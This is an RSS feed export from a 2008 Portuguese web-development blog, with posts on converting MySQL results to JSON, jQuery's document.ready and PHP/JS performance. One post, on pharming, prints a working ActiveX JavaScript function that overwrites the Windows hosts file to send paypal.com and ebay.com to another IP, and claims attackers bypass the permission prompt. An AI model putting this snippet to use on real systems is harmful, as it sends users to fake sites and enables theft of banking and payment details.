<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.0.5" -->
<rss version="2.0" 
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>Silici0 :: Blog</title>
	<link>http://www.rafaelcunha.com</link>
	<description>Php, JS, JQuery, Ajax e +++</description>
	<pubDate>Tue, 09 Mar 2010 22:05:03 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.0.5</generator>
	<language>en</language>
			<item>
		<title>Da Query (MySQL) para JSon</title>
		<link>http://www.rafaelcunha.com/2008/10/07/da-query-mysql-para-json/</link>
		<comments>http://www.rafaelcunha.com/2008/10/07/da-query-mysql-para-json/#comments</comments>
		<pubDate>Tue, 07 Oct 2008 20:32:53 +0000</pubDate>
		<dc:creator>silici0</dc:creator>
		
		<category>JavaScript</category>

		<category>AJAX</category>

		<category>Tutorial</category>

		<guid isPermaLink="false">http://www.rafaelcunha.com/2008/10/07/da-query-mysql-para-json/</guid>
		<description><![CDATA[Bom, como jÃ¡ Ã© comum as pessoas trabalharem com AJAX onde o envio se da para um arquivo que se conecta em um banco de dados e retorna o resultado de um Query, vou ensinar como tratar esse(s) dado(s) para retornar um Json e processar os dados sem o uso de eval(), pois como foi [...]]]></description>
			<content:encoded><![CDATA[<p>Bom, como jÃ¡ Ã© comum as pessoas trabalharem com <a href="http://pt.wikipedia.org/wiki/AJAX_%28programa%C3%A7%C3%A3o%29" onclick="javascript:pageTracker._trackPageview('/outbound/article/http://pt.wikipedia.org/wiki/AJAX_%28programa%C3%A7%C3%A3o%29');"  class="alinks_links" onclick="return alinks_click(this);" title="Asynchronous JavaScript and XML"  style="padding-right: 13px; background: url(http://rafaelcunha.com/WordPress/wp-content/plugins/alinks/images/external.png) center right no-repeat;" rel="external">AJAX</a> onde o envio se da para um arquivo que se conecta em um banco de dados e retorna o resultado de um Query, vou ensinar como tratar esse(s) dado(s) para retornar um <a href="http://pt.wikipedia.org/wiki/JSON" onclick="javascript:pageTracker._trackPageview('/outbound/article/http://pt.wikipedia.org/wiki/JSON');"  class="alinks_links" onclick="return alinks_click(this);" title="JavaScript Object Notation"  style="padding-right: 13px; background: url(http://rafaelcunha.com/WordPress/wp-content/plugins/alinks/images/external.png) center right no-repeat;" rel="external">Json</a> e processar os dados sem o uso de eval(), pois como foi comentado no outro <a target="_blank" title="Json populando formulario" href="http://www.rafaelcunha.com/2007/08/28/json-populando-formulario" >post</a> sobre, o eval Ã© uma funÃ§Ã£o perigosa que pode executar cÃ³digos javascript maliciosos, para isso iremos usar um parser (retirado do <a target="_blank" title="Json " href="http://www.rafaelcunha.com/json.org" >Json.org</a>).</p>
<p>Vamos ao que interessa, primeiramente vamos ver como tratar os dados de retorno de uma query, no qual precisamos criar uma array que para cada posiÃ§Ã£o teremos uma array com os valores:</p>
<div class="igBar"><span id="lphp-3"><a href="#" onclick="javascript:showCodeTxt('php-3'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">PHP:</span>
<div id="php-3">
<div class="php">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#0000FF;">$query</span>=<span style="color:#FF0000;">"SELECT * FROM clientes"</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#0000FF;">$resp</span>=<a href="http://www.php.net/mysql_query" onclick="javascript:pageTracker._trackPageview('/outbound/article/http://www.php.net/mysql_query');"><span style="color:#000066;">mysql_query</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$query</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#0000FF;">$obj</span>=<a href="http://www.php.net/array" onclick="javascript:pageTracker._trackPageview('/outbound/article/http://www.php.net/array');"><span style="color:#000066;">array</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#616100;">while</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$ret</span>=<a href="http://www.php.net/mysql_fetch_assoc" onclick="javascript:pageTracker._trackPageview('/outbound/article/http://www.php.net/mysql_fetch_assoc');"><span style="color:#000066;">mysql_fetch_assoc</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$resp</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#0000FF;">$obj</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006600; font-weight:bold;">&#93;</span> = <span style="color:#0000FF;">$ret</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><a href="http://www.php.net/echo" onclick="javascript:pageTracker._trackPageview('/outbound/article/http://www.php.net/echo');"><span style="color:#000066;">echo</span></a> json_encode<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$obj</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#008000;">/*Imaginemos que o Obj tenha o seguinte conteudo:</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#008000;">Array</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#008000;">(</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#008000;">[0] =&gt; Array</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#008000;">(</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#008000;">[id] =&gt; 7</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#008000;">[usuario] =&gt; usuario</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#008000;">[nome] =&gt; Rafael</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#008000;">)</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#008000;">[1] =&gt; Array</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#008000;">(</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#008000;">[id] =&gt; 8</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#008000;">[usuario] =&gt; user</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#008000;">[nome] =&gt; Cunha</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#008000;">)</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#008000;">)</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#008000;">*/</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#008000;">/*O conteÃºdo do echo serÃ¡</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#008000;">[{&quot;id&quot;:&quot;7&quot;, &quot;usuario&quot;:&quot;usuario&quot;,&quot;nome&quot;:&quot;Rafael&quot; },</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#008000;">{&quot;id&quot;:&quot;8&quot;, &quot;usuario&quot;:&quot;user&quot;,&quot;nome&quot;:&quot;Cunha&quot;}]</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#008000;">*/</span> </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
<p>Acima entÃ£o no final usamos a funÃ§Ã£o json_encode do PHP para passarmos nossa array para um valor representante em Json.<br />
Agora nossa funÃ§Ã£o ajax (javascript) ja recebeu os dados e o que precisamos Ã© dar um parse para passarmos para um Obj com notaÃ§Ã£o Json para podermos manipular os dados livremente, para isso precisaremos do parser que estÃ¡ escrito em JavaScript e pode ser feito o download na pÃ¡gina do Json.org:</p>
<div class="igBar"><span id="ljavascript-4"><a href="#" onclick="javascript:showCodeTxt('javascript-4'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">JAVASCRIPT:</span>
<div id="javascript-4">
<div class="javascript">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #009900; font-style: italic;">// Imaginando que seu Ajax (funÃ§Ã£o) retorne o resultado com o nome de var data</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #003366; font-weight: bold;">var</span> myObject = JSON.<span style="color: #006600;">parse</span><span style="color: #66cc66;">&#40;</span>data<span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #009900; font-style: italic;">// Pronto: para acessarmos os dados podemos utilizar o</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #009900; font-style: italic;">// myObject.id</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #009900; font-style: italic;">// myObject.usuario</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #009900; font-style: italic;">// myObject.nome</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #009900; font-style: italic;">// For roda o Objeto JSon e retorna valor</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #000066; font-weight: bold;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> x <span style="color: #000066; font-weight: bold;">in</span> myObject<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #000066;">alert</span><span style="color: #66cc66;">&#40;</span><span style="color: #3366CC;">"Meu id:Â&nbsp; "</span>+myObject<span style="color: #66cc66;">&#91;</span>x<span style="color: #66cc66;">&#93;</span>.<span style="color: #006600;">id</span>+<span style="color: #3366CC;">" usuario : "</span>+myObject<span style="color: #66cc66;">&#91;</span>x<span style="color: #66cc66;">&#93;</span>.<span style="color: #006600;">usuario</span>+<span style="color: #3366CC;">" nome : "</span>+myObject<span style="color: #66cc66;">&#91;</span>x<span style="color: #66cc66;">&#93;</span>.<span style="color: #006600;">nome</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#125;</span> </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
<p>Poque usar o JSON.parse() ? Na verdade como dito anteriormente Ã© uma questÃ£o de seguranÃ§a, pois este parse nÃ£o executa cÃ³digos, nos livrando de problemas com scripts maliciosos, alÃ©m de ser mais rÃ¡pido do que simplesmente executar um eval(), este parse pode ser usado para executar funÃ§Ãµes em conjunto com a criaÃ§Ã£o do Obj, basta dar uma olhada na documentaÃ§Ã£o.<!--fdfb4d1367bce6e185d970169573e820--><!--ead40fb98c7f239cd5ebc5ea292c9bee--><!--fc8f38d551badb10af6b5b6cf3655107--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.rafaelcunha.com/2008/10/07/da-query-mysql-para-json/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Pharming, mais um hack</title>
		<link>http://www.rafaelcunha.com/2008/06/25/pharming-mais-um-hack/</link>
		<comments>http://www.rafaelcunha.com/2008/06/25/pharming-mais-um-hack/#comments</comments>
		<pubDate>Wed, 25 Jun 2008 13:20:27 +0000</pubDate>
		<dc:creator>silici0</dc:creator>
		
		<category>Informatica</category>

		<category>JavaScript</category>

		<category>Tutorial</category>

		<category>Hacker</category>

		<guid isPermaLink="false">http://www.rafaelcunha.com/2008/06/25/pharming-mais-um-hack/</guid>
		<description><![CDATA[Mas o que Ã© pharming ? Ã‰ a idÃ©ia de alterar, sequestrar ou mesmo contaminar o DNS da vÃ­tima para levar a vÃ­tima a um site falso, por traz disso, roubar dados pessoais, cartÃµes de crÃ©dito, dados de banco e dentre outros (vai da imaginaÃ§Ã£o de cada um), pode-se tambem criar um ponte atravÃ©s do [...]]]></description>
			<content:encoded><![CDATA[<p>Mas o que Ã© pharming ? Ã‰ a idÃ©ia de alterar, sequestrar ou mesmo contaminar o DNS da vÃ­tima para levar a vÃ­tima a um site falso, por traz disso, roubar dados pessoais, cartÃµes de crÃ©dito, dados de banco e dentre outros (vai da imaginaÃ§Ã£o de cada um), pode-se tambem criar um ponte atravÃ©s do de um site para o site desejado e monitorar os dados do trafego assim roubando as informaÃ§Ãµes; mas porque estou falando disso aqui?! Ã‰ pelo motivo que isso Ã© feito ou pode ser feito atravÃ©s de sites mau intensionados com um simples cÃ³digo JavaScript, essa Ã© a maneira mais utilizada.</p>
<p>No windows XP nos temos nossos host no seguinte arquivo :</p>
<p><strong> C:/WINDOWS/system32/Drivers/etc/hosts</strong></p>
<p>Que contem o seguinte :</p>
<p><strong>127.0.0.1 localhost</strong><br />
Dizendo que o localhost aponta para este <a href="http://pt.wikipedia.org/wiki/Protocolo_IP" onclick="javascript:pageTracker._trackPageview('/outbound/article/http://pt.wikipedia.org/wiki/Protocolo_IP');"  class="alinks_links" onclick="return alinks_click(this);" title="Internet Protocol"  style="padding-right: 13px; background: url(http://rafaelcunha.com/WordPress/wp-content/plugins/alinks/images/external.png) center right no-repeat;" rel="external">ip</a> 127.0.0.1</p>
<p>Bom na verdade quando vocÃª digitar localhost no seu navegador ele irÃ¡ procurar por este ip, caso nÃ£o encontre ele vai tentando diversas combinaÃ§Ãµes com www e .com e diversos outros.</p>
<p>O script abaixo mostra um exemplo de como podemos alterar o arquivo com Active-X no JavaScript, claro que o script ira pedir uma autorizaÃ§Ã£o, coisa que os hackers resolvem e vocÃª Ã© afetado sem perceber. O que ele irÃ¡ fazer Ã© redirecionar o dominio digitado para o IP desejado.</p>
<div class="igBar"><span id="ljavascript-6"><a href="#" onclick="javascript:showCodeTxt('javascript-6'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">JAVASCRIPT:</span>
<div id="javascript-6">
<div class="javascript">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #003366; font-weight: bold;">function</span> pharmer<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #003366; font-weight: bold;">var</span> fso = <span style="color: #003366; font-weight: bold;">new</span> ActiveXObject<span style="color: #66cc66;">&#40;</span><span style="color: #3366CC;">"Scripting.FileSystemObject"</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #003366; font-weight: bold;">var</span> pharm = fso.<span style="color: #006600;">CreateTextFile</span><span style="color: #66cc66;">&#40;</span><span style="color: #3366CC;">"C:<span style="color: #000099; font-weight: bold;">\\</span>WINDOWS<span style="color: #000099; font-weight: bold;">\\</span>system32<span style="color: #000099; font-weight: bold;">\\</span>Drivers<span style="color: #000099; font-weight: bold;">\\</span>etc<span style="color: #000099; font-weight: bold;">\\</span>hosts"</span>, <span style="color: #003366; font-weight: bold;">true</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">pharm.<span style="color: #006600;">WriteLine</span><span style="color: #66cc66;">&#40;</span><span style="color: #3366CC;">'127.0.0.1Â Â Â Â Â Â&nbsp; localhost'</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">pharm.<span style="color: #006600;">WriteLine</span><span style="color: #66cc66;">&#40;</span><span style="color: #3366CC;">'188.222.33.1Â Â Â&nbsp; &lt;a href=&quot;https://www.paypal.com/row/mrb/pal=2VAJ7L6XR6XWG&quot;&nbsp; class=&quot;alinks_links&quot; onclick=&quot;return alinks_click(this);&quot; title=&quot;Transferência de dinheiro? BrPay Americano&quot;&nbsp; style=&quot;padding-right: 13px; background: url(http://rafaelcunha.com/WordPress/wp-content/plugins/alinks/images/external.png) center right no-repeat;&quot; rel=&quot;external&quot;&gt;paypal&lt;/a&gt;'</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">pharm.<span style="color: #006600;">WriteLine</span><span style="color: #66cc66;">&#40;</span><span style="color: #3366CC;">'188.222.33.1Â Â Â&nbsp; www.paypal.com'</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">pharm.<span style="color: #006600;">WriteLine</span><span style="color: #66cc66;">&#40;</span><span style="color: #3366CC;">'188.222.33.1Â Â Â&nbsp; ebay.com'</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">pharm.<span style="color: #006600;">WriteLine</span><span style="color: #66cc66;">&#40;</span><span style="color: #3366CC;">'188.222.33.1Â Â Â&nbsp; www.ebay.com'</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">pharm.<span style="color: #000066;">Close</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#125;</span> </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
<p>Coisas que sÃ³ o <a title="0x0 Hacker webZine" target="_blank" href="http://www.0x000000.com/?i=562" onclick="javascript:pageTracker._trackPageview('/outbound/article/http://www.0x000000.com/?i=562');">0x000000</a> nos ensina.Â  ; )<!--6fcb0b48142e848ed27c8dced562fab9--><!--f641b668aa74f12a106ab6b4ed9c9723--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.rafaelcunha.com/2008/06/25/pharming-mais-um-hack/feed/</wfw:commentRss>
		</item>
		<item>
		<title>JQuery a primeira coisa para aprender</title>
		<link>http://www.rafaelcunha.com/2008/06/24/jquery-a-primeira-coisa-para-aprender/</link>
		<comments>http://www.rafaelcunha.com/2008/06/24/jquery-a-primeira-coisa-para-aprender/#comments</comments>
		<pubDate>Tue, 24 Jun 2008 02:35:24 +0000</pubDate>
		<dc:creator>silici0</dc:creator>
		
		<category>Informatica</category>

		<category>JavaScript</category>

		<category>JQuery</category>

		<guid isPermaLink="false">http://www.rafaelcunha.com/2008/06/24/jquery-a-primeira-coisa-para-aprender/</guid>
		<description><![CDATA[Se vocÃª ja copiou e colou diversos script em JQuery e ainda nÃ£o se preocupou em aprender ou estudar a fundo o funcionamento dele, a primeira coisa com que se preocupar Ã© a funÃ§Ã£o mais importante do JQuery, se vocÃª quer que seu cÃ³digo JQuery funcione dentro do seu site, coloque-o dentro da funÃ§Ã£o $(document).ready().
Colocando [...]]]></description>
			<content:encoded><![CDATA[<p>Se vocÃª ja copiou e colou diversos script em <a href="http://jquery.com" onclick="javascript:pageTracker._trackPageview('/outbound/article/http://jquery.com');"  class="alinks_links" onclick="return alinks_click(this);" title="JavaScript Framework"  style="padding-right: 13px; background: url(http://rafaelcunha.com/WordPress/wp-content/plugins/alinks/images/external.png) center right no-repeat;" rel="external">JQuery</a> e ainda nÃ£o se preocupou em aprender ou estudar a fundo o funcionamento dele, a primeira coisa com que se preocupar Ã© a funÃ§Ã£o mais importante do JQuery, se vocÃª quer que seu cÃ³digo JQuery funcione dentro do seu site, coloque-o dentro da funÃ§Ã£o $(document).ready().</p>
<p>Colocando seu cÃ³digo dentro desta funÃ§Ã£o irÃ¡ fazer com que o cÃ³digo rode assim que o <a href="http://pt.wikipedia.org/wiki/DOM" onclick="javascript:pageTracker._trackPageview('/outbound/article/http://pt.wikipedia.org/wiki/DOM');"  class="alinks_links" onclick="return alinks_click(this);" title="Document Object Model"  style="padding-right: 13px; background: url(http://rafaelcunha.com/WordPress/wp-content/plugins/alinks/images/external.png) center right no-repeat;" rel="external">DOM</a> esteja pronto no seu site, antes que todo o conteÃºdo da pÃ¡gina seja lida.</p>
<div class="igBar"><span id="ljavascript-8"><a href="#" onclick="javascript:showCodeTxt('javascript-8'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">JAVASCRIPT:</span>
<div id="javascript-8">
<div class="javascript">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">$<span style="color: #66cc66;">&#40;</span>document<span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">ready</span><span style="color: #66cc66;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #009900; font-style: italic;">// coloque todo seu cÃ³digo aqui</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#125;</span><span style="color: #66cc66;">&#41;</span>; </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
<p>E fica a dica, vocÃª pode criar quantos vocÃª quiser. Ele Ã© a troca pelo famoso/antigo window.onload do JavaScript.<!--734224a5a191dc85345733b9748ee01d--><!--2069c10e72dd6b497e8b6bc84f8c8cfb--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.rafaelcunha.com/2008/06/24/jquery-a-primeira-coisa-para-aprender/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Performace em php e JS</title>
		<link>http://www.rafaelcunha.com/2008/05/27/performace-em-php-e-js/</link>
		<comments>http://www.rafaelcunha.com/2008/05/27/performace-em-php-e-js/#comments</comments>
		<pubDate>Tue, 27 May 2008 16:43:17 +0000</pubDate>
		<dc:creator>silici0</dc:creator>
		
		<category>Informatica</category>

		<category>php</category>

		<category>JavaScript</category>

		<guid isPermaLink="false">http://www.rafaelcunha.com/2008/05/27/performace-em-php-e-js/</guid>
		<description><![CDATA[Quando a maioria esta comeÃ§ando programar ou programa aplicativos/websites pequenos a performace nÃ£o Ã© um obstÃ¡culo, porÃ©m quando pensamos em milhares de acesso por hora e pagando por trÃ¡feco, perfomace e trÃ¡feco pode ser um problemÃ£o se nÃ£o pensados e estudados com muito rigor, Ã© algo ainda muito discutÃ­vel na comunidade, questÃ£o de velocidade dos [...]]]></description>
			<content:encoded><![CDATA[<p>Quando a maioria esta comeÃ§ando programar ou programa aplicativos/websites pequenos a performace nÃ£o Ã© um obstÃ¡culo, porÃ©m quando pensamos em milhares de acesso por hora e pagando por trÃ¡feco, perfomace e trÃ¡feco pode ser um problemÃ£o se nÃ£o pensados e estudados com muito rigor, Ã© algo ainda muito discutÃ­vel na comunidade, questÃ£o de velocidade dos programas feitos em php, performace e trÃ¡feco dos feitos em JavaScript, por isso o Lucas deixou <a target="_blank" title="39 dicas de perfomace no php" href="http://blog.lucas-ts.com/programacao/traducao-39-dicas-de-perfomance-php/" onclick="javascript:pageTracker._trackPageview('/outbound/article/http://blog.lucas-ts.com/programacao/traducao-39-dicas-de-perfomance-php/');">39 dicas para melhorar a perfomace</a> na hora de codar em php.</p>
<p>E eu deixo a dica para JS, que a utilizaÃ§Ã£o de <a href="http://pt.wikipedia.org/wiki/AJAX_%28programa%C3%A7%C3%A3o%29" onclick="javascript:pageTracker._trackPageview('/outbound/article/http://pt.wikipedia.org/wiki/AJAX_%28programa%C3%A7%C3%A3o%29');"  class="alinks_links" onclick="return alinks_click(this);" title="Asynchronous JavaScript and XML"  style="padding-right: 13px; background: url(http://rafaelcunha.com/WordPress/wp-content/plugins/alinks/images/external.png) center right no-repeat;" rel="external">AJAX</a> podem salvar um trafeco imenso causado pelo reload da pÃ¡gina como um todo, claro que exige uma cautela para nÃ£o usa-lo em massa pois com ajax nÃ£o existe indexaÃ§Ã£o pelos sistemas de busca e as requisiÃ§Ãµes nÃ£o tem tempo de resposta, e para economia volume de dados tambÃ©m existem os modos de compresÃ£o <a target="_blank" href="http://javascriptcompressor.com/" onclick="javascript:pageTracker._trackPageview('/outbound/article/http://javascriptcompressor.com/');">vistos aqui</a>.</p>
<p>Mas onde sÃ£o usados isso? Se pensarmos que existem diversos publicadores WEB utilizando PHP com JavaScript, essa Ã© uma solÃºÃ§Ã£o bem cabÃ­vel, para economizar com performace alta.<!--950d80c3ee24c5dfd2e31a38ea390b77--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.rafaelcunha.com/2008/05/27/performace-em-php-e-js/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Ferramentas para desenvolver</title>
		<link>http://www.rafaelcunha.com/2008/05/19/ferramentas-para-desenvolver/</link>
